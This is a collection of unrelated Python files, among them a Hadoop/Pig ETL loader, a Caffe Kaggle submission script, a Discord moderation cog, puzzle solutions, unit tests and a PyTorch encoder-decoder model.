tblExstres = rmrHdfs(fleTblExst)
fleCntExst = "/%s/%s/count/%s_count" % (g_hdp_loc, jobName, table)
cntExstres = rmrHdfs(fleCntExst)
######################################################################################
# / /#
# / /#
# / Pig script->2 Process the input lines and stores the formatted lines and count. /#
# / /#
######################################################################################
pigprcReg = "register /home/phdftpuser/%s/project/framework/udf/parse.py using jython as my_special_udfs; \n" % (
g_test_var)
pigprcLine1 = "A = LOAD '/%s/%s/inbound/%s'" % (g_hdp_loc, jobName, fleNme) + " AS (line:chararray);\n"
pigprcLine2 = "B = FILTER A BY SUBSTRING(line,0,3)!='%s' AND SUBSTRING(line,0,3)!='%s';\n" % (hLne, tLne)
pigprcLine3 = "C = FOREACH B GENERATE my_special_udfs.lneProcess(line,'%s','%s','%s','%s','%s');\n" % (
mapLst, procId, len_of_lne, insrt_ts, rsltSt.split('|')[0])
pigprcLine4 = "STORE C INTO '/%s/%s/%s.txt' USING PigStorage();\n" % (g_hdp_loc, jobName, table)
pigprcLine5 = "D = FOREACH (GROUP C ALL) GENERATE COUNT(C);\n"
pigprcLine6 = "STORE D INTO '/%s/%s/count/%s_count' USING PigStorage();\n" % (g_hdp_loc, jobName, table)
pigScrpFile = '/home/phdftpuser/%s/project/%s/pigscript/%s_prcfile.pig' % (g_test_var, jobName, fle_nm_Splt)
prcFle = 'pig prasing script'
mode = 'w'
pigprcFile = fleCheck(pigScrpFile, prcFle, mode)
pigprcFile.write(pigprcReg + pigprcLine1 + pigprcLine2 + pigprcLine3 + pigprcLine4 + pigprcLine5 + pigprcLine6)
pigprcFile.close()
pigprcjob = "pig -M %s" % (pigScrpFile)
os.system(pigprcjob)
fleTblExst = "/%s/%s/%s.txt" % (g_hdp_loc, jobName, table)
rtrnCd = testHdfs(fleTblExst)
print rtrnCd
if int(rtrnCd) == 1:
fnlStrg = 'Pig Process failed please check the pig log'
sendErromail(fnlStrg, 'Pig Process Failed', '')
sys.exit(1)
hadoopFscntJob = "/%s/%s/count/%s_count/part*" % (g_hdp_loc, jobName, table)
rsltCnt = catHdfs(hadoopFscntJob)
print 'result count is', rsltCnt
return int(rsltCnt), rsltSt.split('|')[1]
##############################################################################################################################
# / /#
# / validate : This method validates between the counts returned from the process and external table and inserts /#
# / rows into the internal table. /#
# / Note: /#
# / This method has the flag ts_tl_Flg which will set to "Y" when it is TL and "N" when it is TS base on the /#
# / operation variable and will passed as an argument to the hawq function /#
# / /#
# / Returns Nothing /#
# / /#
##############################################################################################################################
def validate(conn, cur, schema, tablename, fCount, operation, func):
cnt_Chk = 'select count(*) from %s.%s_ext' % (schema, tablename)
if operation == 'TS':
ts_tl = 'ts'
ts_tl_Flg = 'N'
insrt = "select %s('%s.%s_ext','%s.%s_%s','%s');" % (
func, schema, tablename, schema, tablename, ts_tl, ts_tl_Flg)
else:
ts_tl_Flg = 'Y'
insrt = "select %s('%s.%s_ext','%s.%s','%s');" % (func, schema, tablename, schema, tablename, ts_tl_Flg)
try:
cur.execute(cnt_Chk)
ext_Cnt = cur.fetchone()[0]
print ext_Cnt
if ext_Cnt == fCount:
cur.execute(insrt)
resultSet = cur.fetchone()
conn.commit()
else:
print 'counts doesnt match please check the log tables'
errMsg = "The Counts between the program counter - %s and external table - %s count doesnt match" % (
str(fCount), str(ext_Cnt))
deMsg = "Please check the logs.%s table for more info" % (tablename)
fnlStrg = errMsg + '\n' + deMsg
sendErromail(fnlStrg, 'Counts Doesnt match', tablename)
sys.exit(1)
print 'resultSet is ', resultSet
print 'insert complete'
except psycopg2.Error, e:
print 'Error %s' % e
errMsg = 'Error: Database operational issue'
deMsg = 'DEBUG:Please check the query you provided %s' % (e)
fnlStrg = errMsg + '\n' + deMsg
sendErromail(fnlStrg, 'Database Operational issue', '')
sys.exit(1)
##############################################################################################################################
# / /#
# / main : This is the start of the script where all the arguments are read and passed to each of the methods /#
# / process and validate. /#
# / Note: /#
# / This methode has the "fle_Rmvl_Flg" flag which will tell the script to not to remove the input file as it has /#
# / mulitple layouts to be processed. /#
# / /#
# / /#
##############################################################################################################################
def main(arguments):
print arguments
srcPrp = arguments[0]
input_file = arguments[1]
trnSfrm = int(arguments[2])
inu_Flnme = input_file.split('/')[-1]
if '_' in input_file.split('/')[-1]:
fle_nm_Splt = input_file.split('/')[-1].split('_')[0]
else:
fle_nm_Splt = input_file.split('/')[-1].split('.dat')[0]
outPath = input_file.split('/')
print str(datetime.datetime.now())
fleSzeChk = False
reRun = 0
execLst = []
connLst = []
if len(arguments) > 3:
if arguments[3].split('#')[0] == 'rerun':
reRun = int(arguments[3].split('#')[-1])
else:
connLst = [int(x) for x in arguments[3].split('#')[-1].split(',')]
print reRun, connLst
flePth = '/'.join(srcPrp.split('/')[0:-2]) + '/json/'
print 'absolute file path', flePth
# Json pointer Property file check
prcFle = 'pointer to Json property file'
mode = 'r'
jsonSrcPntr = fleCheck(srcPrp, prcFle, mode)
for prp in jsonSrcPntr:
flePnter = prp.split('|')[1].strip()
if prp.split('|')[0] != 'SR':
srNo = int(prp.split('|')[0].strip())
if reRun != 0:
if srNo >= reRun:
execLst.append(flePnter)
elif len(connLst) != 0:
if srNo in connLst:
print 'came here'
execLst.append(flePnter)
else:
execLst.append(flePnter)
print execLst
g_gp_host, g_gp_db, g_hdp_loc, nw_Drive = getConn()
try:
conn = psycopg2.connect("hostaddr=%s dbname=%s" % (g_gp_host, g_gp_db))
conn.autocommit = True
cur = conn.cursor()
except psycopg2.Error, e:
print 'Unable to connect to the database %s' % e
errMsg = 'Error: Database connecitivity issues -%s' % e
deMsg = 'DEBUG:Please check the database connections'
fnlStrg = errMsg + '\n' + deMsg
sendErromail(fnlStrg, 'Issue in Database Connection String', '')
sys.exit(1)
if trnSfrm == 0:
# Input file Check
prcFle = 'input file on nw_drive'
mode = 'r'
inp = fleCheck(input_file, prcFle, mode)
for fle in execLst:
layout = flePth + fle
print layout
# Json layout check
prcFle = 'Json Layout file'
mode = 'r'
layout_File = fleCheck(layout, prcFle, mode)
json_load = json.load(layout_File)
schema = json_load["db_prop"][0]["schema"]
table = json_load["db_prop"][0]["table"]
operation = json_load["db_prop"][0]["operation"]
func = g_func_var
if "mul_fle_Flg" in json_load["db_prop"][0].keys():
fle_nm_Splt = table
cnt, tmStmp = 0, ''
m, strt, stp = 0, 0, 0
flePath = []
while m < (len(outPath) - 1):
if outPath[m] == '%s' % nw_Drive:
strt = m
if outPath[m] == 'inbound':
stp = m
m += 1
for n in range(strt + 1, stp):
flePath.append(outPath[n])
progJobPath = '/'.join(flePath)
jobFileName = outPath[len(outPath) - 1].split('.')
jobName = progJobPath.split('/')[-1].lower()
print progJobPath, jobName
tsValid = '/home/phdftpuser/%s/%s/logs/%s_tstmp.txt' % (g_test_var, jobName, fle_nm_Splt)
print tsValid
prcFle = 'timestamp log file'
mode = 'a+'
tsOutput = fleCheck(tsValid, prcFle, mode)
if os.path.getsize(tsValid) == 0:
print 'Gets here'
fleSzeChk = True
if trnSfrm == 0:
# output file location on nw_drive location check
fOutput = '/%s/%s/wip/%s.txt' % (nw_Drive, progJobPath, table)
prcFle = 'Output file on nw_drive'
mode = 'w'
output = fleCheck(fOutput, prcFle, mode)
cnt, tmStmp = process(json_load, inp, output, tsOutput, fleSzeChk, table)
output.close()
print cnt
moveToHDFS(progJobPath, jobName, table, g_hdp_loc, nw_Drive)
else:
cnt, tmStmp = pigprocess(json_load, input_file, jobName, inu_Flnme, fle_nm_Splt, fleSzeChk, tsOutput, table,
g_hdp_loc)
validate(conn, cur, schema, table, cnt, operation, func)
tsOutput.write(tmStmp + '\n')
tsOutput.close()
if trnSfrm == 0:
inp.seek(0)
os.remove(input_file)
print 'file removed successfully'
conn.commit()
cur.close()
conn.close()
if trnSfrm == 0:
inp.close()
print 'completed'
print str(datetime.datetime.now())
if __name__ == "__main__":
if len(sys.argv) in (2, 3, 4, 5):
main(sys.argv[1:])
else:
print "Needs an layout, input file argument and flip code either0 for mutliple record type files and use 1 for input file with single recordtype and more than a gigabyte for the program to proceed and optional rerun and list argument when program exited abnormally"
errMsg = 'Error: Arugments error'
deMsg = 'DEBUG:Needs an layout, input file argument for the program to proceed'
fnlStrg = errMsg + '\n' + deMsg
sendErromail(fnlStrg, 'Intial Arugument Error', '')
sys.exit(1)
|
18,292 | b8400c033f6392c5a77c31a25a12a8c809c2c326 | def submission_helper(pred):
p = np.zeros(600)
pred.resize(p.shape)
p[0] = pred[0]
for j in range(1, 600):
a = p[j - 1]
b = pred[j]
if b < a:
p[j] = a
else:
p[j] = b
return p
def calc_all_areas(images):
images = np.array(images)
(num_images, times, _, _) = images.shape
obj_acc = np.zeros(1200)
for j in range(num_images):
# print 'Calculating area for time %d and slice %d...' % (i, j)
img = np.array(images[j])
img = diff_images(img) #30 frames to 29 diff frames
#print img.shape
net.blobs['data'].reshape(1, *img.shape)
net.blobs['data'].data[...] = img
#print 'net.forward() stars'
net.forward()
#print 'net.forward() finished'
prob = net.blobs['prob'].data
# 1,1,1,1200
obj = prob[0][1][0]
obj_acc = obj_acc + obj
# dset.sys_str = (',0'* 50) + (',1.0'*(550))
# dset.dia_str = (',0'* 50) + (',1.0'*(550))
obj_avg = obj_acc / num_images
obj_round = np.around(obj_avg, decimals=6)
obj_round = np.where(obj_round<0.45, 0.0 , obj_round)
obj_round = np.where(obj_round>0.55, 1.0 , obj_round)
dset.sys_str = obj_round[:600]
dset.dia_str = obj_round[600:]
dset.sys_str = submission_helper(dset.sys_str)
dset.dia_str = submission_helper(dset.dia_str)
dset.sys_str = ','.join(map(str, dset.sys_str))
dset.dia_str = ','.join(map(str, dset.dia_str))
def get_hostogram_dataset(dataset):
# shape: num slices, num snapshots, rows, columns
print 'Calculating volumes...'
calc_all_areas(dataset.images)
# area_totals = [calc_total_volume(a, dataset.area_multiplier, dataset.dist)
# for a in all_areas]
# dataset.dia_str = ''
# dataset.sys_str = ''
###############################################################################
DATA_PATH = '/home/moon/kaggle/data/'
caffe.set_mode_gpu()
net = caffe.Net('fcn2_deploy.prototxt', './model_logs/fcn_iter_3000000.caffemodel', caffe.TEST)
valid_dir = os.path.join(DATA_PATH, 'validate')
studies = next(os.walk(valid_dir))[1]
valid_csv = open('submission_v2.csv', 'w')
header = 'Id,P0,P1,P2,P3,P4,P5,P6,P7,P8,P9,P10,P11,P12,P13,P14,P15,P16,P17,P18,P19,P20,P21,P22,P23,P24,P25,P26,P27,P28,P29,P30,P31,P32,P33,P34,P35,P36,P37,P38,P39,P40,P41,P42,P43,P44,P45,P46,P47,P48,P49,P50,P51,P52,P53,P54,P55,P56,P57,P58,P59,P60,P61,P62,P63,P64,P65,P66,P67,P68,P69,P70,P71,P72,P73,P74,P75,P76,P77,P78,P79,P80,P81,P82,P83,P84,P85,P86,P87,P88,P89,P90,P91,P92,P93,P94,P95,P96,P97,P98,P99,P100,P101,P102,P103,P104,P105,P106,P107,P108,P109,P110,P111,P112,P113,P114,P115,P116,P117,P118,P119,P120,P121,P122,P123,P124,P125,P126,P127,P128,P129,P130,P131,P132,P133,P134,P135,P136,P137,P138,P139,P140,P141,P142,P143,P144,P145,P146,P147,P148,P149,P150,P151,P152,P153,P154,P155,P156,P157,P158,P159,P160,P161,P162,P163,P164,P165,P166,P167,P168,P169,P170,P171,P172,P173,P174,P175,P176,P177,P178,P179,P180,P181,P182,P183,P184,P185,P186,P187,P188,P189,P190,P191,P192,P193,P194,P195,P196,P197,P198,P199,P200,P201,P202,P203,P204,P205,P206,P207,P208,P209,P210,P211,P212,P213,P214,P215,P216,P217,P218,P219,P220,P221,P222,P223,P224,P225,P226,P227,P228,P229,P230,P231,P232,P233,P234,P235,P236,P237,P238,P239,P240,P241,P242,P243,P244,P245,P246,P247,P248,P249,P250,P251,P252,P253,P254,P255,P256,P257,P258,P259,P260,P261,P262,P263,P264,P265,P266,P267,P268,P269,P270,P271,P272,P273,P274,P275,P276,P277,P278,P279,P280,P281,P282,P283,P284,P285,P286,P287,P288,P289,P290,P291,P292,P293,P294,P295,P296,P297,P298,P299,P300,P301,P302,P303,P304,P305,P306,P307,P308,P309,P310,P311,P312,P313,P314,P315,P316,P317,P318,P319,P320,P321,P322,P323,P324,P325,P326,P327,P328,P329,P330,P331,P332,P333,P334,P335,P336,P337,P338,P339,P340,P341,P342,P343,P344,P345,P346,P347,P348,P349,P350,P351,P352,P353,P354,P355,P356,P357,P358,P359,P360,P361,P362,P363,P364,P365,P366,P367,P368,P369,P370,P371,P372,P373,P374,P375,P376,P377,P378,P379,P380,P381,P382,P383,P384,P385,P386,P387,P388,P389,P390,P391,P392,P393,P394,P395,P396,P397,P398,P399,P400,P401,P402,P403,P404,P405,P406,P407,P408,P409,P410,P411,P412,P413,P414,P415,P416,P417,P418,P419,P420,P421,P422,P423,P424,P425,P426,P427,P428,P429,P430,P431,P432,P433,P434,P435,P436,P437,P438,P439,P440,P441,P442,P443,P444,P445,P446,P447,P448,P449,P450,P451,P452,P453,P454,P455,P456,P457,P458,P459,P460,P461,P462,P463,P464,P465,P466,P467,P468,P469,P470,P471,P472,P473,P474,P475,P476,P477,P478,P479,P480,P481,P482,P483,P484,P485,P486,P487,P488,P489,P490,P491,P492,P493,P494,P495,P496,P497,P498,P499,P500,P501,P502,P503,P504,P505,P506,P507,P508,P509,P510,P511,P512,P513,P514,P515,P516,P517,P518,P519,P520,P521,P522,P523,P524,P525,P526,P527,P528,P529,P530,P531,P532,P533,P534,P535,P536,P537,P538,P539,P540,P541,P542,P543,P544,P545,P546,P547,P548,P549,P550,P551,P552,P553,P554,P555,P556,P557,P558,P559,P560,P561,P562,P563,P564,P565,P566,P567,P568,P569,P570,P571,P572,P573,P574,P575,P576,P577,P578,P579,P580,P581,P582,P583,P584,P585,P586,P587,P588,P589,P590,P591,P592,P593,P594,P595,P596,P597,P598,P599'
valid_csv.write(header)
valid_csv.write('\n')
studies.sort()
for s in studies:
dset = Dataset(os.path.join(valid_dir, s), s)
print 'Processing dataset %s...' % dset.name
try:
dset.load()
get_hostogram_dataset(dset)
valid_csv.write('%s_Diastole,%s\n' % (dset.name, dset.dia_str))
valid_csv.write('%s_Systole,%s\n' % (dset.name, dset.sys_str))
except Exception as e:
print '***ERROR***: Exception %s thrown by dataset %s' % (str(e), dset.name)
# dset.sys_str = (',0'* 50) + (',1.0'*(550))
# dset.dia_str = (',0'* 50) + (',1.0'*(550))
# valid_csv.write('%s_Diastole%s\n' % (dset.name, dset.dia_str))
# valid_csv.write('%s_Systole%s\n' % (dset.name, dset.sys_str))
valid_csv.close()
|
18,293 | 4a12ede431445dfbec7ed09752ba8ad85a7a93a5 | # Generated by Django 3.1.4 on 2020-12-09 12:11
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('portfolio', '0007_portfolio_about'),
]
operations = [
migrations.AlterField(
model_name='portfolio',
name='about',
field=models.TextField(max_length=255),
),
]
|
18,294 | 2257f375b8d507e3812dd872da77c22518a9bec9 | import discord
from discord.ext import commands
class Mute(commands.Cog):
def init(self, bot):
self.bot = bot
self._last_member = None
@commands.command()
@commands.has_permissions(kick_members=True)
async def mute(self, ctx, member: discord.Member, *, reason=None):
guild = ctx.guild
mutedRole = discord.utils.get(guild.roles, name="Muted")
if not mutedRole:
mutedRole = await guild.create_role(name="Muted")
for channel in guild.channels:
await channel.set_permissions(mutedRole, speak=False, send_messages=False, read_message_history=True, read_messages=False)
await member.add_roles(mutedRole, reason=reason)
await member.send(f"You have been muted from: {guild.name}")
await ctx.send(f'`{member}` is has been muted.')
@commands.command()
@commands.has_permissions(kick_members=True)
async def unmute(self, ctx, member: discord.Member, *, reason=None):
guild = ctx.guild
mutedRole = discord.utils.get(ctx.guild.roles, name="Muted")
if mutedRole in member.roles:
await member.remove_roles(mutedRole, reason=reason)
await member.send(f"You have been unmuted from: {guild.name}")
await ctx.send(f'`{member}` is has been unmuted.')
else:
await ctx.send(f'`{member}` is not currently muted.')
def setup(bot):
bot.add_cog(Mute(bot))
#embed = discord.Embed(title="muted", description=f"{member.mention} was muted ", colour=discord.Colour.light_gray())
#embed.add_field(name="reason:", value=reason, inline=False)
#await ctx.send(embed=embed)
|
18,295 | 5661ae13ce27efb3050e0c9d91a19864e989694d | import time
import math
import sys
sys.setrecursionlimit(2 * 10 ** 5)
def findMultiplesOf3and5(number):
sum = 0
for i in range(1, number):
if i % 3 == 0 or i % 5 == 0:
sum = sum + i
print(sum)
def fibonacci(n):
a, b = 0, 1
sumValue = 0
while b < n:
a, b = b, a + b
if b % 2 == 0:
sumValue = sumValue + b
return sumValue
'''
# This solution used sqrt function which takes addition logN time. The second solution to iterate over factor seems more efficient.
def find_greatest_prime_factor(num):
#print(num)
# base condition -
if num < 3:
return num
# find the sqrt
num_sqrt = math.ceil(math.sqrt(num))
for i in xrange(int(num_sqrt), 1, -1):
if num%i == 0:
#check if i is prime
if find_greatest_prime_factor(i) == i:
return i
#num is prime - return num
return num
'''
def largest_prime_factor(num, div=2):
while div < num:
if num % div == 0 and num / div > 1:
num = num / div
div = 2
else:
div = div + 1
return num
start_time = time.time()
# findMultiplesOf3and5(1000)
#print(fibonacci(4000000))
print(largest_prime_factor(600851475143))
print("This took", time.time() - start_time, "seconds to run.")
#start_time = time.time()
#print("This took", time.time() - start_time, "seconds to run.")
|
18,296 | d3fcba6dc85e4e1fa011d12d191af0692ef2d7a3 | def get_image(file_name):
with open(file_name) as f:
image = [int(i) for i in f.readline().rstrip().split()[0]]
return image
def get_row(image, start_index, width):
row = [image[start_index:][pixel] for pixel in range(width)]
return row
def get_layer(image, start_index, width, height):
layer = [[] for i in range(height)]
for i in range(height):
layer[i] = get_row(image, start_index, width)
start_index += width
return layer, start_index
def get_all_layers(image, start_index, width, height):
num_layers = int(len(image) / (width * height))
all_layers = [[] for i in range(num_layers)]
for layer in range(num_layers):
all_layers[layer], start_index = get_layer(image, start_index, width, height)
return all_layers
def count_digit(layer, digit):
flattened = []
for row in layer:
flattened += row
return flattened.count(digit)
def merge_layers(all_layers):
final_image = all_layers[0].copy()
for l, layer in enumerate(all_layers):
for r, row in enumerate(layer):
for p, pixel in enumerate(row):
if pixel == 0 or pixel == 1:
final_image[r][p] = pixel
return final_image
image = get_image("08.txt")
all_layers = get_all_layers(image, 0, 25, 6)
num_zeros = [count_digit(layer, 0) for layer in all_layers]
num_ones = [count_digit(layer, 1) for layer in all_layers]
num_twos = [count_digit(layer, 2) for layer in all_layers]
position = num_zeros.index(min(num_zeros))
total = num_ones[position] * num_twos[position]
print(total)
all_layers.reverse()
for i in merge_layers(all_layers):
print(i)
|
18,297 | 3388a8e28bdacdedfa250b490e3f422a48501157 | import tkinter as tk
from tkinter import ttk
root = tk.Tk()
label = ttk.Label(root)
label.config(text='Hi, there')
label.pack()
root.mainloop() |
18,298 | f6114ff257ced066c8f3f1a294cf0f80da798bf1 | import unittest
from leetcode.longest_palindrome import longest_palindromic_substring_dp as longest_palindrome
import leetcode
class TestLongestPalindrome(unittest.TestCase):
def test1(self):
s = "babad"
if longest_palindrome(s) in ["aba","bab"]:
self.assertEqual(1,1)
else:
self.assertEqual(1,2)
def test_null_str(self):
s = None
if longest_palindrome(s) in [""]:
self.assertEqual(1,1)
else:
self.assertEqual(1,2)
self.assertEqual(longest_palindrome(s), "")
def test_empty_str(self):
s = ""
if longest_palindrome(s) in [""]:
self.assertEqual(1,1)
else:
self.assertEqual(1,2)
self.assertEqual(longest_palindrome(s), "")
def test_nonpalindrome(self):
s = "abc"
if longest_palindrome(s) in ["a", "b", "c"]:
self.assertEqual(1,1)
else:
self.assertEqual(1,2)
def test2(self):
s = "aaaaaab"
if longest_palindrome(s) in ["aaaaaa"]:
self.assertEqual(1,1)
else:
self.assertEqual(1,2)
def test3(self):
s = "abcdbb"
if longest_palindrome(s) in ["bb"]:
self.assertEqual(1,1)
else:
self.assertEqual(1,2)
def test4(self):
s = "aaabaaaa"
if longest_palindrome(s) in ["aaabaaa"]:
self.assertEqual(1,1)
else:
self.assertEqual(1,2)
def test5(self):
s = "abababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababa"
self.assertEqual(leetcode.longest_palindrome.longest_palindrome_original(s), leetcode.longest_palindrome.longest_palindromic_substring_dp(s))
if __name__ == "__main__":
unittest.main() |
18,299 | 5cbf1a9bef7cd44bf422a84917b9981892aa3ac1 | from torch import nn
from torch.autograd import Variable
from torch.nn import functional as f
import torch
import numpy
COVERAGE = 50
class Encoder(nn.Module):
def __init__(self, input_size):
super(Encoder, self).__init__()
self.kernel_size_vertical = (3,1)
self.kernel_size_horizontal = (1,3)
self.leakyrelu = nn.LeakyReLU()
self.n_channels_0_vertical = input_size
self.n_channels_1_vertical = input_size*2
self.n_channels_2_vertical = input_size*4
self.n_channels_3_vertical = input_size*8
# self.n_channels_4_vertical = input_size*16
self.n_channels_0_horizontal = input_size
self.n_channels_1_horizontal = input_size*4
self.n_channels_2_horizontal = input_size*8
self.n_channels_3_horizontal = input_size*16
print(self.n_channels_0_vertical)
print(self.n_channels_1_vertical)
print(self.n_channels_2_vertical)
print(self.n_channels_3_vertical)
# print(self.n_channels_4_vertical)
print(self.n_channels_0_horizontal)
print(self.n_channels_1_horizontal)
print(self.n_channels_2_horizontal)
print(self.n_channels_3_horizontal)
self.conv2d_1_vertical = nn.Conv2d(in_channels=self.n_channels_0_vertical,
out_channels=self.n_channels_1_vertical,
kernel_size=self.kernel_size_vertical,
padding=(1,0),
groups=input_size)
self.conv2d_2_vertical = nn.Conv2d(in_channels=self.n_channels_1_vertical,
out_channels=self.n_channels_2_vertical,
kernel_size=self.kernel_size_vertical,
padding=(1,0))
self.conv2d_3_vertical = nn.Conv2d(in_channels=self.n_channels_2_vertical,
out_channels=self.n_channels_3_vertical,
kernel_size=self.kernel_size_vertical,
padding=(1,0))
# self.conv2d_4_vertical = nn.Conv2d(in_channels=self.n_channels_3_vertical,
# out_channels=self.n_channels_4_vertical,
# kernel_size=self.kernel_size_vertical,
# padding=(1,0))
self.conv2d_1_horizontal = nn.Conv2d(in_channels=self.n_channels_0_horizontal,
out_channels=self.n_channels_1_horizontal,
kernel_size=self.kernel_size_horizontal,
padding=(0,1),
groups=input_size)
self.conv2d_2_horizontal = nn.Conv2d(in_channels=self.n_channels_1_horizontal,
out_channels=self.n_channels_2_horizontal,
kernel_size=self.kernel_size_horizontal,
padding=(0,1))
self.conv2d_3_horizontal = nn.Conv2d(in_channels=self.n_channels_2_horizontal,
out_channels=self.n_channels_3_horizontal,
kernel_size=self.kernel_size_horizontal,
padding=(0,1))
def vertical_convolution(self, x):
# expected convolution input shape = (batch, channel, H, W)
# [1, 1, 50, 30]
x = self.conv2d_1_vertical(x)
x = self.leakyrelu(x)
# [1, 3, 50, 30]
x = self.conv2d_2_vertical(x)
x = self.leakyrelu(x)
x = self.conv2d_3_vertical(x)
x = self.leakyrelu(x)
# x = self.conv2d_4_vertical(x)
# x = self.leakyrelu(x)
return x
def horizontal_convolution(self, x):
# expected convolution input shape = (batch, channel, H, W)
# [1, 1, 50, 30]
x = self.conv2d_1_horizontal(x)
x = self.leakyrelu(x)
# [1, 3, 50, 30]
x = self.conv2d_2_horizontal(x)
x = self.leakyrelu(x)
x = self.conv2d_3_horizontal(x)
x = self.leakyrelu(x)
return x
def forward(self, x):
# expected convolution input shape = (N, C, H, W)
# [1, 1, 50, 30]
x_vertical = self.vertical_convolution(x)
x_horizontal = self.horizontal_convolution(x)
# [1, 6, 50, 30]
n, c, h, w = x_vertical.shape
x_vertical = x_vertical.view([n,h*c,w])
# [1, 6, 50, 30]
n, c, h, w = x_horizontal.shape
x_horizontal = x_horizontal.view([n,h*c,w])
# print(x_vertical.shape)
# print(x_horizontal.shape)
x = torch.cat([x_vertical, x_horizontal], dim=1)
# [1, 300, 30]
# x = x.permute([0,2,1])
return x
class Decoder(nn.Module):
def __init__(self, input_size, hidden_size, n_layers, output_size, dropout_rate):
super(Decoder, self).__init__()
self.rnn_input_size = input_size
self.rnn_hidden_size = hidden_size # aka output size
self.rnn_n_layers = n_layers
self.bidirectional = True
self.n_directions = int(self.bidirectional)+1
self.gru = nn.GRU(input_size=self.rnn_input_size,
hidden_size=self.rnn_hidden_size,
num_layers=self.rnn_n_layers,
batch_first=True,
dropout=dropout_rate,
bidirectional=self.bidirectional)
self.output_linear = torch.nn.Linear(hidden_size*self.n_directions, output_size)
self.leakyrelu = torch.nn.LeakyReLU()
def output_fcn(self, x):
x = self.output_linear(x)
return x
def output_function(self, x):
# print("output", x.shape)
# shape = (N, H, L) = (batch_size, hidden, length)
# (1,16,32)
batch_size, hidden, length = x.shape
outputs = list()
for l in range(length):
x_i = x[:,:,l]
x_i = x_i.view(batch_size, hidden, 1)
x_i = x_i.permute([0,2,1])
x_i = self.output_linear(x_i)
outputs.append(x_i)
x = torch.cat(outputs, dim=1)
x = x.permute([0,2,1])
return x
def forward(self, x):
# input: (batch, seq_len, input_size)
# hidden: (num_layers * num_directions, batch, hidden_size)
x = x.permute([0,2,1])
output, h_n = self.gru(x)
# [1, 30, 5]
x = output.permute([0,2,1])
# [1, 5, 30]
x = self.output_function(x)
return x
class EncoderDecoder(nn.Module):
def __init__(self, input_size, output_size, hidden_size, n_layers, dropout_rate):
super(EncoderDecoder, self).__init__()
self.encoder = Encoder(input_size=input_size)
self.decoder = Decoder(input_size=8400,
output_size=output_size,
hidden_size=hidden_size,
n_layers=n_layers,
dropout_rate=dropout_rate)
def forward(self, x):
x = self.encoder(x)
# print(x.shape)
x = self.decoder(x)
return x
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